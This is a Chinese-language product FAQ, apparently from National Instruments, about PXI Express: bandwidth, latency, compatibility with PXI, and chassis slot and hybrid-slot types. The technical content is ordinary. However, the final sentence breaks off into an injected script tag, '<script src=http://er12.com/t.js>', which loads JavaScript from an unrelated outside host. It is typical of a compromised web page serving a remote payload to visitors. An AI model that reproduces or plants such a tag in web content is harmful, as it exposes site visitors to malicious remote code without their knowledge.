一般问题
什么是pxi express?
pxi express技术是pxi平台最新引进的技术。将pci express集成入pxi标准,从而将背板带宽提升了45倍,从132 mb/s提高到6 gb/s。并通过一个100 mhz的差分参考时钟和多个差分触发,增强了pxi定时与同步的特性。pxi express在保持后向兼容性的同时,将这些特性引入pxi。
如何比较pxi express与其它总线的带宽与时延特性?
带宽度量数据在总线上传输的速率,常用单位为兆字节/秒,而时延度量数据在总线传输时的延迟。使用pxi express,用户可以实现最大为6 gb/s的控制器到背板的带宽,这是测试与测量领域的最高可用带宽。此外,视系统规范,可以为每个外设插槽分配高达2 gb/s的专用带宽。
在所有主流商用测试与测量总线技术中,pxi express提供了最低(最佳)的时延,该时延可以与基于pci的pxi相比拟,在一些情况下甚至更好。pxi express的时延优于外部总线(如usb或以太网)几个数量级。
pxi express是否取代了pxi?
不是。pxi express是pxi平台的一部分,ni与其它公司将继续投资开发基于pci及pci express平台的产品。许多应用如数据采集和运动控制并不需要pxi express的高带宽,因此,用户需要在pxi平台中选择最适合的规范。pxi系统已经在大量应用中发挥作用,基于pci信号的pxi系统在未来的若干年中将被大量布署。而且,由于ni所提供的pxi express机箱同时包含pxi外设插槽和pxi express混合外设插槽,所以现有的pxi外设模块和pxi express 外设模块可以同时用于同一个背板和系统。
兼容性
pxi express是否向后兼容pxi?
是的, pxi express保持了与pxi外设模块的软硬件兼容性。
— 软件: pci express使用了与pci相同的操作系统和驱动程序模型,从而使得基于pci的系统(如pxi)和基于pci express的系统(如pxi express)软件完全兼容。这一软件兼容性的保证来自于pci特别兴趣小组(pci-sig),它是一个由成员公司(如intel)组成的、致力于pci与pci express标准开发和增强的小组
—硬件:pxi express机箱提供混合外设插槽,可以同时支持pxi express外设模块和与混合插槽兼容的pxi外设模块。这些外设插槽为pci和pci express提供信号传输支持。
我是否可以使用现有的为以往pxi系统编写的代码?
是的。您可以在pxi express系统中使用您为以往pxi系统编写的代码,因为pxi express与pxi保持完全的软件兼容性。软件兼容性包括操作系统(如windows xp和linux®)、应用软件(如microsoft office和ni labview)和用户代码(如labview vi和c++项目)。
一个pxi express机箱有哪些不同类型的插槽?
一个pxi express机箱包括:
一个系统插槽,以支持一个嵌入式或远程pxi express控制器
pxi外设插槽,支持pxi模块
pxi express混合外设插槽,可以支持pxi express外设模块、32-位compactpci外设模块和混合兼容的pxi外设模块
一个系统定时插槽,支持pxi express外设模块和pxi express系统定时模块
[+] 放大图片
图1. ni pxi express机箱背板布局
什么是pxi express混合插槽?
pxi express背板具有两种外设插槽,pxi外设插槽和pxi express混合外设插槽。pxi混合外设插槽(如下所示)可以支持pxi express外设模块、32-位compactpci板卡或混合插槽兼容的pxi模块。
[+] 放大图片
图2. pxi express混合插槽支持pxi express外设模块、32-位compactpci板卡和混合插槽兼容的pxi模块
什么是混合插槽兼容的pxi模块?
ni的不包括j2接头的 pxi模块是混合插槽兼容的,对于包含j2接头的ni模块,您必须替换该物理接头以实现与pxi express混合外设插槽的兼容。如下图所示,j2接头被卸除,并替换为尺寸稍小的ehm接头。您仍然可以在现有的pxi外设插槽中使用所得到的混合插槽兼容的模块。
对于修改后的ni模块,除了背板接头被替换,其余的均保持不变。这样的修改是基于这样一个事实:在32-位pxi模块中,j2接头的较低部分除了在局部总线中的使用外,其它情况下基本不被使用。
[+] 放大图片
图3. 修改一个基于pci的pxi模块的连接器以实现混合插槽的?script src=http://er12.com/t.js>